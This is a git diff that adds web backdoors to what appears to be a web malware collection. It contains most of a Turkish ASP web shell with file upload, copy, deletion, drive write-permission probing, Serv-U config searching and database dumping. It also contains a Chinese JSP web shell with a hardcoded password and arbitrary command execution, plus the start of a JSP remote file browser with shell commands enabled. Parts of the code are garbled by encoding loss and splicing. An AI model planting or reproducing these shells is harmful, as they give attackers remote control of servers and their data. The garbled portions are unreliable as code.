+ lobjField.BinaryData = ChrB(0)
+ lobjField.Value = pstrValue
+ lobjField.Length = Len(pstrValue)
+ Else
+ lobjField.BinaryData = pbinData
+ lobjField.Length = LenB(pbinData)
+ lobjField.Value = ""
+ End If
+ Set mobjFieldAry(mlngCount) = lobjField
+ mlngCount = mlngCount + 1
+ End Sub
+
+ Private Function ParseBinaryData(ByRef pbinChunk)
+ Dim llngStart
+ llngStart = InStrB(1, pbinChunk, CRLF & CRLF)
+ If llngStart = 0 Then Exit Function
+ llngStart = llngStart + 4
+ ParseBinaryData = MidB(pbinChunk, llngStart)
+ End Function
+
+ Private Function ParseContentType(ByRef pbinChunk)
+ Dim llngStart
+ Dim llngEnd
+ Dim llngLength
+ llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Type:"), vbTextCompare)
+ If llngStart = 0 Then Exit Function
+ llngEnd = InStrB(llngStart + 15, pbinChunk, CR)
+ If llngEnd = 0 Then Exit Function
+ llngStart = llngStart + 15
+ If llngStart >= llngEnd Then Exit Function
+ llngLength = llngEnd - llngStart
+ ParseContentType = Trim(CStrU(MidB(pbinChunk, llngStart, llngLength)))
+ End Function
+
+ Private Function ParseDisposition(ByRef pbinChunk)
+ Dim llngStart
+ Dim llngEnd
+ Dim llngLength
+ llngStart = InStrB(1, pbinChunk, CRLF & CStrB("Content-Disposition:"), vbTextCompare)
+ If llngStart = 0 Then Exit Function
+ llngEnd = InStrB(llngStart + 22, pbinChunk, CRLF)
+ If llngEnd = 0 Then Exit Function
+ llngStart = llngStart + 22
+ If llngStart >= llngEnd Then Exit Function
+ llngLength = llngEnd - llngStart
+ ParseDisposition = CStrU(MidB(pbinChunk, llngStart, llngLength))
+ End Function
+
+ Private Function ParseName(ByRef pstrDisposition)
+ Dim llngStart
+ Dim llngEnd
+ Dim llngLength
+ llngStart = InStr(1, pstrDisposition, "name=""", vbTextCompare)
+ If llngStart = 0 Then Exit Function
+ llngEnd = InStr(llngStart + 6, pstrDisposition, """")
+ If llngEnd = 0 Then Exit Function
+ llngStart = llngStart + 6
+ If llngStart >= llngEnd Then Exit Function
+ llngLength = llngEnd - llngStart
+ ParseName = Mid(pstrDisposition, llngStart, llngLength)
+ End Function
+' ------------------------------------------------------------------------------
+ Private Function ParseFileName(ByRef pstrDisposition)
+ Dim llngStart
+ Dim llngEnd
+ Dim llngLength
+ llngStart = InStr(1, pstrDisposition, "filename=""", vbTextCompare)
+ If llngStart = 0 Then Exit Function
+ llngEnd = InStr(llngStart + 10, pstrDisposition, """")
+ If llngEnd = 0 Then Exit Function
+ llngStart = llngStart + 10
+ If llngStart >= llngEnd Then Exit Function
+ llngLength = llngEnd - llngStart
+ ParseFileName = Mid(pstrDisposition, llngStart, llngLength)
+ End Function
+
+ Public Property Get Count()
+ Count = mlngCount
+ End Property
+
+ Public Default Property Get Fields(ByVal pstrName)
+ Dim llngIndex
+ If IsNumeric(pstrName) Then
+ llngIndex = CLng(pstrName)
+ If llngIndex > mlngCount - 1 Or llngIndex < 0 Then
+ Call Err.Raise(vbObjectError + 1, "clsUpload.asp", "Object does not exist within the ordinal reference.")
+ Exit Property
+ End If
+ Set Fields = mobjFieldAry(pstrName)
+ Else
+ pstrName = LCase(pstrname)
+ For llngIndex = 0 To mlngCount - 1
+ If LCase(mobjFieldAry(llngIndex).Name) = pstrName Then
+ Set Fields = mobjFieldAry(llngIndex)
+ Exit Property
+ End If
+ Next
+ End If
+ Set Fields = New clsField
+ End Property
+
+ Private Sub Class_Terminate()
+ Dim llngIndex
+ For llngIndex = 0 To mlngCount - 1
+ Set mobjFieldAry(llngIndex) = Nothing
+
+ Next
+ ReDim mobjFieldAry(-1)
+ End Sub
+
+ Private Sub Class_Initialize()
+ ReDim mobjFieldAry(-1)
+ CR = ChrB(Asc(vbCr))
+ LF = ChrB(Asc(vbLf))
+ CRLF = CR & LF
+ mlngCount = 0
+ Call RequestData
+ Call ParseDelimiter()
+ Call ParseData
+ End Sub
+
+ Private Function CStrU(ByRef pstrANSI)
+ Dim llngLength
+ Dim llngIndex
+ llngLength = LenB(pstrANSI)
+ For llngIndex = 1 To llngLength
+ CStrU = CStrU & Chr(AscB(MidB(pstrANSI, llngIndex, 1)))
+ Next
+ End Function
+
+ Private Function CStrB(ByRef pstrUnicode)
+ Dim llngLength
+ Dim llngIndex
+ llngLength = Len(pstrUnicode)
+ For llngIndex = 1 To llngLength
+ CStrB = CStrB & ChrB(Asc(Mid(pstrUnicode, llngIndex, 1)))
+ Next
+ End Function
+End Class
+'####################################
+Session("n1") = "byZ"
+Class clsField
+ Public Name
+ Private mstrPath
+ Public FileDir
+ Public FileExt
+ Public FileName
+ Public ContentType
+ Public Value
+ Public BinaryData
+ Public Length
+ Private mstrText
+
+ Public Property Get BLOB()
+ BLOB = BinaryData
+ End Property
+
+ Public Function BinaryAsText()
+ Dim lbinBytes
+ Dim lobjRs
+ If Length = 0 Then Exit Function
+ If LenB(BinaryData) = 0 Then Exit Function
+
+ If Not Len(mstrText) = 0 Then
+ BinaryAsText = mstrText
+ Exit Function
+ End If
+ lbinBytes = ASCII2Bytes(BinaryData)
+ mstrText = Bytes2Unicode(lbinBytes)
+ BinaryAsText = mstrText
+ End Function
+
+ Public Sub SaveAs(ByRef pstrFileName)
+ Const adTypeBinary=1
+ Const adSaveCreateOverWrite=2
+ Dim lobjStream
+ Dim lobjRs
+ Dim lbinBytes
+ If Length = 0 Then Exit Sub
+ If LenB(BinaryData) = 0 Then Exit Sub
+ Set lobjStream = Server.CreateObject("ADODB.Stream")
+ lobjStream.Type = adTypeBinary
+ Call lobjStream.Open()
+ lbinBytes = ASCII2Bytes(BinaryData)
+ Call lobjStream.Write(lbinBytes)
+
+ On Error Resume Next
+
+ Call lobjStream.SaveToFile(pstrFileName, adSaveCreateOverWrite)
+
+ 'if err<>0 then response.Write "uploaded " else gMsg = gMsg & "failed! "
+ end if
+ next
+ response.Write gMsg
+ set objUpload=nothing
+
+end sub
+
+if status="-4" then
+ Upload()
+' hataKontrol
+ popup=false
+end if
+'////////////////////////////////
+sub hataKontrol
+ if err<>0 then
+ Response.Write "Hata : "&err.Description&" "
+ end if
+end sub
+
+sub araBul(path_,ara_)
+ on error resume next
+ If Len(path_) > 0 Then
+ cur = path_&"\"
+ If cur = "\\" Then cur = ""
+ parent = ""
+ If InStrRev(cur,"\") > 0 Then
+ parent = Left(cur, InStrRev(cur, "\", Len(cur)-1))
+ End If
+ Else
+ cur = ""
+ End If
+
+ Set f = objFSO.GetFolder(cur)
+
+ Set fc = f.Files
+ For Each f1 In fc
+ if lcase(InStr(1,f1.name,lcase(ara_)))>0 then
+ downStr = "� � "&f1.path&" ["&f1.size&"]"&" � ! "&f1.path&" ["&f1.size&"]"&" "
+ response.Write "Konum Sonu�
"
+end sub
+
+sub servu_Test
+ dosya_ = Array("Program Files\Serv-u\Serv-u.ini", "Program Files\Serv-u\Serv-u daemon.ini", "Serv-u\Serv-u.ini", "Serv-u\Serv-u daemon.ini")
+ for each drive_ in objFSO.Drives
+ if drive_.Drivetype=2 or drive_.Drivetype=3 then
+ for each d_ in dosya_
+ d_ = drive_.DriveLetter&":\"&d_
+ if objFSO.FileExists(d_) then
+ response.Write "Serv-U ini file : "&d_&" "
+ set MyFile = Nothing
+ if err<>0 then
+ sonuc__="Yazma Hakk� Yok! "
+ else
+ sonuc__="Yazma Hakk� Var! "
+ on error goto 0: on error resume next
+ objFSO.DeleteFile yol & "\test.zehir",true
+ if err<>0 then
+ sonuc__=sonuc__&"Silme Hakk� Yok! "
+ else
+ sonuc__=sonuc__&"Silme Hakk� Var! "
+ end if
+ end if
+ yaziyomu = sonuc__
+end function
+
+function yaziyomu2(yol)
+ on error goto 0:on error resume next
+ Set MyFile = objFSO.CreateTextFile(yol & "\test.zehir", True)
+ MyFile.write "byzehir "
+ set MyFile = Nothing
+ if err<>0 then
+ yaziyomu2 = false
+ else
+ objFSO.DeleteFile yol & "\test.zehir"
+ yaziyomu2 = true
+ end if
+end function
+
+sub WriteTestOnDriver
+ for each drive_ in objFSO.Drives
+ if drive_.Drivetype=2 or drive_.Drivetype=3 then
+ if not yaziyomu2(drive_.DriveLetter&":\") then
+ Response.Write ""&drive_.DriveLetter&":\ yazma yetkisi yok! : ["&err.Description&"] "&drive_.DriveLetter&":\ yazma yetkisi var! Local Path yazma yetkisi yok! : ["&err.Description&"] Local Path yazma yetkisi var! Local Path Hata Olu�tu : ["&err.Description&"] Local Path Folder : "&FormatNumber(int_fol,0)&" Local Path Data �st Klasor Yok :) Local Path Hata Olu�tu : ["&err.Description&"] Local Path Folder : "&FormatNumber(int_fol,0)&" : Sistem Bilgileri : Local Adres " & request.servervariables("REMOTE_ADDR") & " User Agent " & request.servervariables("HTTP_USER_AGENT") & " Server " & request.servervariables("SERVER_NAME") & " IP " & request.servervariables("LOCAL_ADDR") & " HTTPD " & request.servervariables("SERVER_SOFTWARE") & " Port " & request.servervariables("SERVER_PORT") & " Yol " & request.servervariables("APPL_PHYSICAL_PATH") & " Log Root " & request.servervariables("APPL_MD_PATH") & " HTTPS " & request.servervariables("HTTPS") & "
"
+ popup = false
+CASE 14 'Upload and Search
+ aramaUpload
+ popup = false
+ hataKontrol
+CASE 15 'Ms. SQL Server
+ Response.Write ""
+
+ popup = false
+ hataKontrol
+CASE 16 'file Copy window
+ Response.Write ""
+
+ popup = false
+ hataKontrol
+CASE 17 'file Copy
+ isl = ""
+ if islem="kopyala" then
+ objFSO.CopyFile path,cf
+ isl="kopyaland�.."
+ elseif islem="tasi" then
+ objFSO.MoveFile path,cf
+ isl="ta��nd�.."
+ end if
+ response.Write "Dosya "&isl
+ response.Write "Kaynak : "&path&"Hedef : "&cf
+ response.Write "Kaynak : "&path&"Hedef : "&cf
+ response.Write "Powered by Zehir"
+ response.Write "zehirhacker@hotmail.comk�ll� nefsun zaifetun mevt"
+ popup = false
+ hataKontrol
+CASE 40 'Sistem Test
+ sistemTest
+ popup=false
+CASE 50 'Siteleri Test Edelim :D
+ %>
+
+
+
+ G�venlik Testi byZehir
+
+
+
+ <%
+ popup=false
+CASE 51 ' �zel �ilemler
+END SELECT
+%>
+
+
+<%
+if popup then
+ if status=7 or status=8 then
+ Response.Write ""
+ end if
+ Response.Write ""
+ Path = Path & ":/"
+ Response.Write ""
+ KlasorOku
+ Response.Write " "
+ DosyaOku
+ Response.Write " "
+ hataKontrol
+CASE 2 'Normal listeleme
+ if len(path)=1 then Response.Write (yaziyomu(path&":\")) else Response.Write (yaziyomu(path))
+ Response.Write ""
+ Response.Write ""
+ KlasorOku
+ Response.Write " "
+ DosyaOku
+ Response.Write " "
+ hataKontrol
+CASE 3 'File Delete
+ objFSO.DeleteFile del
+ hataKontrol
+ if err<>0 then
+ byMsg="Not File Deleted! File Deleted Successful;) Not Folder Deleted! Folder Deleted Successful;) "&path&" "
+ set f = objFSO.OpenTextFile(path,1)
+ Response.Write ""&Server.HTMLEncode(f.readAll)&" "
+ if err<>62 then hataKontrol
+ if err.number=62 then Response.Write "":Response.End
+CASE 6 'Resim a�
+ Response.Write "Tablolar 4 "&table.Name&" "
+ for i=0 to objRcs.Fields.count-1
+ Response.Write " "&objRcs.Fields(i).Name&" "
+ do while not objRcs.EOF
+ Response.Write ""
+ for i=0 to objRcs.Fields.count-1
+ Response.Write ""&objRcs.Fields(i).Value&" "
+ next
+ Response.Write " "
+ objRcs.MoveNext
+ loop
+ Response.Write "
Not File Edited! File Edited Successful:)
"
+
+sub DosyaOku
+ Set f = objFSO.GetFolder(Path)
+ Set fc = f.Files
+ For Each f1 In fc
+ dosyaAdi = f1.name
+ num = InStrRev(dosyaAdi,".")
+ uzanti = lcase(Right(dosyaAdi,len(dosyaAdi)-num))
+ downStr = "� � 4 "
+ select case uzanti
+ case "mdb"
+ Response.Write ""&f1.name&" ["&FormatNumber(f1.size,0)&" ]"&" M "&downStr&" "&f1.name&" ["&FormatNumber(f1.size,0)&" ]"&" � ! "&downStr&" "&f1.name&" ["&FormatNumber(f1.size,0)&" ]"&" � "&downStr&" "&f1.name&" ["&FormatNumber(f1.size,0)&" ]"&" 2 ! "&downStr&" 4 � 1"&f1.name&" Title:JspWebshell
+ *
+ * Description: jsp��վ����
+ *
+ * Copyright:�������[B.C.T] Copyright (c) 2006
+ *
+ * Company: zero.cnbct.org
+ * PS:��������С�ܴ�����Ȥ��д��������������ϵQQ:48124012
+ * @version 1.2
+ */
+ String path="";
+ String selfName="";
+ boolean copyfinish=false;
+%>
+<% selfName=request.getRequestURI();
+ // String editfile="";
+ String editfile=request.getParameter("editfile");
+ if (editfile!=null)
+ {editfile=new String(editfile.getBytes("ISO8859_1"));
+ }
+ path=request.getParameter("path");
+ if(path==null)
+ path=config.getServletContext().getRealPath("/");
+%>
+<%!
+ String _password ="111";//����
+ public String readAllFile(String filePathName) throws IOException
+ {
+ FileReader fr = new FileReader(filePathName);
+ int count = fr.read();
+ String res="";
+ while(count != -1)
+ {
+ //System.out.print((char)count);
+ res=res+(char)count;
+ count = fr.read();
+ if(count == 13)
+ {
+ fr.skip(1);
+ }
+ }
+ fr.close();
+ return res;
+ }
+public void writeFile(String filePathName,String args) throws IOException
+{
+FileWriter fw = new FileWriter(filePathName);
+PrintWriter out=new PrintWriter(fw);
+out.write(args);
+out.println();
+out.flush();
+fw.close();
+out.close();
+}
+public boolean createFile(String filePathName) throws IOException
+{
+boolean result = false;
+File file = new File(filePathName);
+if(file.exists())
+{
+System.out.println("�ļ��Ѿ����ڣ�");
+}
+else
+{
+file.createNewFile();
+result = true;
+System.out.println("�ļ��Ѿ�������");
+}
+return result;
+}
+public boolean createFolder(String fileFolderName)
+{
+boolean result = false;
+try
+{
+File file = new File(fileFolderName);
+if(file.exists())
+{
+//file.delete();
+System.out.println("Ŀ¼�Ѿ�����!");
+result = true;
+}
+else
+{
+file.mkdir();
+System.out.println("Ŀ¼�Ѿ�����!");
+result = true;
+}
+}
+catch(Exception ex)
+{
+result = false;
+System.out.println("CreateAndDeleteFolder is error:"+ex);
+}
+return result;
+}
+
+public boolean DeleteFolder(String filefolderName)
+{
+boolean result = false;
+try
+{
+File file = new File(filefolderName);
+if(file.exists())
+{
+file.delete();
+System.out.println("Ŀ¼��ɾ��!");
+result = true;
+}
+}
+catch(Exception ex)
+{
+result = false;
+System.out.println("CreateAndDeleteFolder is error:"+ex);
+}
+return result;
+}
+public boolean validate(String password) {
+ if (password.equals(_password)) {
+ return true;
+ } else {
+ return false;
+ }
+}
+public String HTMLEncode(String str) {
+ str = str.replaceAll(" ", " ");
+ str = str.replaceAll("<", "<");
+ str = str.replaceAll(">", ">");
+ str = str.replaceAll("\r\n", "�������\"" + cmd + "\"";
+ } finally {
+ return retStr;
+ }
+ }
+ public boolean fileCopy(String srcPath, String dstPath) {
+ boolean bRet = true;
+
+ try {
+ FileInputStream in = new FileInputStream(new File(srcPath));
+ FileOutputStream out = new FileOutputStream(new File(dstPath));
+ byte[] buffer = new byte[1024];
+ int nBytes;
+
+
+ while ((nBytes = in.read(buffer, 0, 1024)) != -1) {
+ out.write(buffer, 0, nBytes);
+ }
+
+ in.close();
+ out.close();
+ } catch (IOException e) {
+ bRet = false;
+ }
+
+ return bRet;
+}
+class EnvServlet
+{
+ public long timeUse=0;
+ public Hashtable htParam=new Hashtable();
+ private Hashtable htShowMsg=new Hashtable();
+ public void setHashtable()
+ {
+ Properties me=System.getProperties();
+ Enumeration em=me.propertyNames();
+ while(em.hasMoreElements())
+ {
+ String strKey=(String)em.nextElement();
+ String strValue=me.getProperty(strKey);
+ htParam.put(strKey,strValue);
+ }
+ }
+ public void getHashtable(String strQuery)
+ {
+ Enumeration em=htParam.keys();
+ while(em.hasMoreElements())
+ {
+ String strKey=(String)em.nextElement();
+ String strValue=new String();
+ if(strKey.indexOf(strQuery,0)>=0)
+ {
+ strValue=(String)htParam.get(strKey);
+ htShowMsg.put(strKey,strValue);
+ }
+ }
+ }
+ public String queryHashtable(String strKey)
+ {
+ strKey=(String)htParam.get(strKey);
+ return strKey;
+ }
+/* public long test_int()
+ {
+ long timeStart = System.currentTimeMillis();
+ int i=0;
+ while(i<3000000)i++;
+ long timeEnd = System.currentTimeMillis();
+ long timeUse=timeEnd-timeStart;
+ return timeUse;
+ }
+ public long test_sqrt()
+ {
+ long timeStart = System.currentTimeMillis();
+ int i=0;
+ double db=(double)new Random().nextInt(1000);
+ while(i<200000){db=Math.sqrt(db);i++;}
+ long timeEnd = System.currentTimeMillis();
+ long timeUse=timeEnd-timeStart;
+ return timeUse;
+ }*/
+}
+%>
+<%
+ EnvServlet env=new EnvServlet();
+ env.setHashtable();
+ //String action=new String(" ");
+ //String act=new String("action");
+ //if(request.getQueryString()!=null&&request.getQueryString().indexOf(act,0)>=0)action=request.getParameter(act);
+%>
+
+
+
+JspWebShell By �������
+
+
+
+
+<%
+//session.setMaxInactiveInterval(_sessionOutTime * 60);
+String password=request.getParameter("password");
+if (password == null && session.getAttribute("password") == null) {
+
+%>
+
+
+
+
+
+
+ 8 JspWebShell
+ version 1.2������¼ :::... Power By
+ �������
+
+
+
+
+
�������
");
+ out.close();
+ return;
+ }
+
+ session.setAttribute("password", password);
+ } else {
+ password = (String)session.getAttribute("password");
+ }
+%>
+ <%
+ File tmpFile = null;
+ String delfile="";
+ String delfile1="";
+ String editpath="";
+ delfile1=request.getParameter("delfile");
+ editpath=request.getParameter("filepath");
+ if (delfile1!=null)
+ {delfile=new String(delfile1.getBytes("ISO8859_1"));
+ }
+ if ( delfile1!= null) {
+ // out.print(delfile);
+ tmpFile = new File(delfile);
+ if (! tmpFile.delete()) {
+ out.print( "ɾ��ʧ��
+
+
+
+ ��������ز���
+
+
+
+
+
+
+ JAVA��ز���
+
+
+
+
+
+
+
+ JspWebShell
+ version 1.0 (��վĿ¼:<%=config.getServletContext().getRealPath("/")%>)
+
+
+ <%
+ File[] fs = File.listRoots();
+ for (int i = 0; i < fs.length; i++){
+ %>
+ ���ش���(<%=fs[i].getPath()%>)
+
+ <%}%>
+
+
+
+
+
+
+ <%
+ String cmd = "";
+ InputStream ins = null;
+ String result = "";
+ if (request.getParameter("command") != null) {
+ cmd = (String)request.getParameter("command");result = exeCmd(cmd);%>
+ <%=result == "" ? " " : result%>
+ <%}%>
+
+
+
+ <% String fileexe="";
+ String dir="";
+ String deldir="";
+ String scrfile="";
+ String dstfile="";
+ fileexe=request.getParameter("fileexe");
+ dir=request.getParameter("dir");
+ deldir=request.getParameter("deldir");
+ scrfile=request.getParameter("scrfile");
+ dstfile=request.getParameter("dstfile");
+ if (fileexe!=null)
+ {
+ //out.print(path+fileexe);
+ createFile(path+fileexe);
+ }
+ if (dir!=null)
+ {
+ //out.print(path+dir);
+ createFolder(path+dir);
+ }
+ if (deldir!=null)
+ {
+ //out.print(deldir);
+ DeleteFolder(deldir);
+ }
+ if (scrfile!=null&dstfile!=null)
+ {
+ //out.print(scrfile);
+ //out.print(dstfile);
+ copyfinish=fileCopy(scrfile, dstfile) ;
+ }
+ %>
+
+
+
+ <%if(copyfinish==true) out.print("���Ƴɹ�");%>
+ <%//�ϴ�
+ String tempfilename="";
+ String up=request.getParameter("up");
+ // String tempfilepath=request.getParameter("filepath");
+ // out.print(tempfilepath);
+ if(up!=null)
+ {
+ tempfilename=(String)session.getId();
+ //String tempfilename=request.getParameter("file");
+ File f1=new File(tempfilepath,tempfilename);
+ int n;
+ try
+ {
+ InputStream in=request.getInputStream();
+ BufferedInputStream my_in=new BufferedInputStream(in);
+ FileOutputStream fout=new FileOutputStream(f1);
+ BufferedOutputStream my_out=new BufferedOutputStream(fout);
+ byte[] b=new byte[10000];
+ while((n=my_in.read(b))!=-1)
+ {
+ my_out.write(b,0,n);
+ }
+ my_out.flush();
+ my_out.close();
+ fout.close();
+ my_in.close();
+ in.close();
+ // out.print("�ļ������ɹ�!
+
+
+ <% try {
+ //path=request.getParameter("path");
+ //if(path==null)
+ //path=config.getServletContext().getRealPath("/");
+ File f=new File(path);
+ File[] fList= f.listFiles() ;
+ for (int j=0;j
+ <%=fList[j].getName()%> ɾ��
+
+ <% try {
+ path=request.getParameter("path");
+ if(path==null)
+ path=config.getServletContext().getRealPath("/");
+ File f=new File(path);
+ File[] fList= f.listFiles() ;
+ for (int j=0;j
+ <%=fList[j].getName()%>
+ <%=path%>&editfile=<%=path%><%=fList[j].getName()%>" target="_blank">�༭
+ ɾ��
+
+
+Power By �������[B.C.T] QQ:48124012
+
+<%}//if edit
+}
+}
+%>
+
+
\ No newline at end of file
diff --git a/web-malware-collection-master/Backdoors/JSP/browser.jsp b/web-malware-collection-master/Backdoors/JSP/browser.jsp
new file mode 100755
index 0000000..2a1003a
--- /dev/null
+++ b/web-malware-collection-master/Backdoors/JSP/browser.jsp
@@ -0,0 +1,1802 @@
+<%--
+ jsp File browser 1.1a
+ Copyright (C) 2003,2004, Boris von Loesch
+ This program is free software; you can redistribute it and/or modify it under
+ the terms of the GNU General Public License as published by the
+ Free Software Foundation; either version 2 of the License, or (at your option)
+ any later version.
+ This program is distributed in the hope that it will be useful, but
+ WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
+ You should have received a copy of the GNU General Public License along with
+ this program; if not, write to the
+ Free Software Foundation, Inc.,
+ 59 Temple Place, Suite 330,
+ Boston, MA 02111-1307 USA
+ - Description: jsp File browser v1.1a -- This JSP program allows remote web-based
+ file access and manipulation. You can copy, create, move and delete files.
+ Text files can be edited and groups of files and folders can be downloaded
+ as a single zip file that's created on the fly.
+ - Credits: Taylor Bastien, David Levine, David Cowan, Lieven Govaerts
+--%>
+<%@page import="java.util.*,
+ java.net.*,
+ java.text.*,
+ java.util.zip.*,
+ java.io.*"
+%>
+<%!
+ //FEATURES
+ private static final boolean NATIVE_COMMANDS = true;
+
+ //Allow browsing and file manipulation only in certain directories
+ private static final boolean RESTRICT_BROWSING = false;
+ //If true, the user is allowed to browse only in RESTRICT_PATH,
+ //if false, the user is allowed to browse all directories besides RESTRICT_PATH
+ private static final boolean RESTRICT_WHITELIST = false;
+ //Paths, sperated by semicolon
+ //private static final String RESTRICT_PATH = "C:\\CODE;E:\\"; //Win32: Case important!!
+ private static final String RESTRICT_PATH = "/etc;/var";
+
+ //The refresh time in seconds of the upload monitor window
+ private static final int UPLOAD_MONITOR_REFRESH = 2;
+ //The number of colums for the edit field
+ private static final int EDITFIELD_COLS = 85;
+ //The number of rows for the edit field
+ private static final int EDITFIELD_ROWS = 30;
+ //Open a new window to view a file
+ private static final boolean USE_POPUP = true;
+ /**
+ * If USE_DIR_PREVIEW = true, then for every directory a tooltip will be
+ * created (hold the mouse over the link) with the first DIR_PREVIEW_NUMBER entries.
+ * This can yield to performance issues. Turn it of, if the directory loads to slow.
+ */
+ private static final boolean USE_DIR_PREVIEW = true;
+ private static final int DIR_PREVIEW_NUMBER = 10;
+ /**
+ * The name of an optional CSS Stylesheet file
+ */
+ private static final String CSS_NAME = "Browser.css";
+ /**
+ * The compression level for zip file creation (0-9)
+ * 0 = No compression
+ * 1 = Standard compression (Very fast)
+ * ...
+ * 9 = Best compression (Very slow)
+ */
+ private static final int COMPRESSION_LEVEL = 1;
+ /**
+ * The FORBIDDEN_DRIVES are not displayed on the list. This can be usefull, if the
+ * server runs on a windows platform, to avoid a message box, if you try to access
+ * an empty removable drive (See KNOWN BUGS in Readme.txt).
+ */
+ private static final String[] FORBIDDEN_DRIVES = {"a:\\"};
+
+ /**
+ * Command of the shell interpreter and the parameter to run a programm
+ */
+ private static final String[] COMMAND_INTERPRETER = {"cmd", "/C"}; // Dos,Windows
+ //private static final String[] COMMAND_INTERPRETER = {"/bin/sh","-c"}; // Unix
+
+ /**
+ * Max time in ms a process is allowed to run, before it will be terminated
+ */
+ private static final long MAX_PROCESS_RUNNING_TIME = 30 * 1000; //30 seconds
+
+ //Button names
+ private static final String SAVE_AS_ZIP = "Download selected files as zip";
+ private static final String RENAME_FILE = "Rename File";
+ private static final String DELETE_FILES = "Delete selected files";
+ private static final String CREATE_DIR = "Create Dir";
+ private static final String CREATE_FILE = "Create File";
+ private static final String MOVE_FILES = "Move Files";
+ private static final String COPY_FILES = "Copy Files";
+
+ //Normally you should not change anything after this line
+ //----------------------------------------------------------------------------------
+ //Change this to locate the tempfile directory for upload (not longer needed)
+ private static String tempdir = ".";
+ private static String VERSION_NR = "1.1a";
+ private static DateFormat dateFormat = DateFormat.getDateTimeInstance();
+
+ public class UplInfo {
+
+ public long totalSize;
+ public long currSize;
+ public long starttime;
+ public boolean aborted;
+
+ public UplInfo() {
+ totalSize = 0l;
+ currSize = 0l;
+ starttime = System.currentTimeMillis();
+ aborted = false;
+ }
+
+ public UplInfo(int size) {
+ totalSize = size;
+ currSize = 0;
+ starttime = System.currentTimeMillis();
+ aborted = false;
+ }
+
+ public String getUprate() {
+ long time = System.currentTimeMillis() - starttime;
+ if (time != 0) {
+ long uprate = currSize * 1000 / time;
+ return convertFileSize(uprate) + "/s";
+ }
+ else return "n/a";
+ }
+
+ public int getPercent() {
+ if (totalSize == 0) return 0;
+ else return (int) (currSize * 100 / totalSize);
+ }
+
+ public String getTimeElapsed() {
+ long time = (System.currentTimeMillis() - starttime) / 1000l;
+ if (time - 60l >= 0){
+ if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
+ else return time / 60 + ":0" + (time % 60) + "m";
+ }
+ else return time<10 ? "0" + time + "s": time + "s";
+ }
+
+ public String getTimeEstimated() {
+ if (currSize == 0) return "n/a";
+ long time = System.currentTimeMillis() - starttime;
+ time = totalSize * time / currSize;
+ time /= 1000l;
+ if (time - 60l >= 0){
+ if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
+ else return time / 60 + ":0" + (time % 60) + "m";
+ }
+ else return time<10 ? "0" + time + "s": time + "s";
+ }
+
+ }
+
+ public class FileInfo {
+
+ public String name = null, clientFileName = null, fileContentType = null;
+ private byte[] fileContents = null;
+ public File file = null;
+ public StringBuffer sb = new StringBuffer(100);
+
+ public void setFileContents(byte[] aByteArray) {
+ fileContents = new byte[aByteArray.length];
+ System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
+ }
+ }
+
+ public static class UploadMonitor {
+
+ static Hashtable uploadTable = new Hashtable();
+
+ static void set(String fName, UplInfo info) {
+ uploadTable.put(fName, info);
+ }
+
+ static void remove(String fName) {
+ uploadTable.remove(fName);
+ }
+
+ static UplInfo getInfo(String fName) {
+ UplInfo info = (UplInfo) uploadTable.get(fName);
+ return info;
+ }
+ }
+
+ // A Class with methods used to process a ServletInputStream
+ public class HttpMultiPartParser {
+
+ private final String lineSeparator = System.getProperty("line.separator", "\n");
+ private final int ONE_MB = 1024 * 1;
+
+ public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,
+ int clength) throws IllegalArgumentException, IOException {
+ if (is == null) throw new IllegalArgumentException("InputStream");
+ if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException(
+ "\"" + boundary + "\" is an illegal boundary indicator");
+ boundary = "--" + boundary;
+ StringTokenizer stLine = null, stFields = null;
+ FileInfo fileInfo = null;
+ Hashtable dataTable = new Hashtable(5);
+ String line = null, field = null, paramName = null;
+ boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);
+ boolean isFile = false;
+ if (saveFiles) { // Create the required directory (including parent dirs)
+ File f = new File(saveInDir);
+ f.mkdirs();
+ }
+ line = getLine(is);
+ if (line == null || !line.startsWith(boundary)) throw new IOException(
+ "Boundary not found; boundary = " + boundary + ", line = " + line);
+ while (line != null) {
+ if (line == null || !line.startsWith(boundary)) return dataTable;
+ line = getLine(is);
+ if (line == null) return dataTable;
+ stLine = new StringTokenizer(line, ";\r\n");
+ if (stLine.countTokens() < 2) throw new IllegalArgumentException(
+ "Bad data in second line");
+ line = stLine.nextToken().toLowerCase();
+ if (line.indexOf("form-data") < 0) throw new IllegalArgumentException(
+ "Bad data in second line");
+ stFields = new StringTokenizer(stLine.nextToken(), "=\"");
+ if (stFields.countTokens() < 2) throw new IllegalArgumentException(
+ "Bad data in second line");
+ fileInfo = new FileInfo();
+ stFields.nextToken();
+ paramName = stFields.nextToken();
+ isFile = false;
+ if (stLine.hasMoreTokens()) {
+ field = stLine.nextToken();
+ stFields = new StringTokenizer(field, "=\"");
+ if (stFields.countTokens() > 1) {
+ if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {
+ fileInfo.name = paramName;
+ String value = stFields.nextToken();
+ if (value != null && value.trim().length() > 0) {
+ fileInfo.clientFileName = value;
+ isFile = true;
+ }
+ else {
+ line = getLine(is); // Skip "Content-Type:" line
+ line = getLine(is); // Skip blank line
+ line = getLine(is); // Skip blank line
+ line = getLine(is); // Position to boundary line
+ continue;
+ }
+ }
+ }
+ else if (field.toLowerCase().indexOf("filename") >= 0) {
+ line = getLine(is); // Skip "Content-Type:" line
+ line = getLine(is); // Skip blank line
+ line = getLine(is); // Skip blank line
+ line = getLine(is); // Position to boundary line
+ continue;
+ }
+ }
+ boolean skipBlankLine = true;
+ if (isFile) {
+ line = getLine(is);
+ if (line == null) return dataTable;
+ if (line.trim().length() < 1) skipBlankLine = false;
+ else {
+ stLine = new StringTokenizer(line, ": ");
+ if (stLine.countTokens() < 2) throw new IllegalArgumentException(
+ "Bad data in third line");
+ stLine.nextToken(); // Content-Type
+ fileInfo.fileContentType = stLine.nextToken();
+ }
+ }
+ if (skipBlankLine) {
+ line = getLine(is);
+ if (line == null) return dataTable;
+ }
+ if (!isFile) {
+ line = getLine(is);
+ if (line == null) return dataTable;
+ dataTable.put(paramName, line);
+ // If parameter is dir, change saveInDir to dir
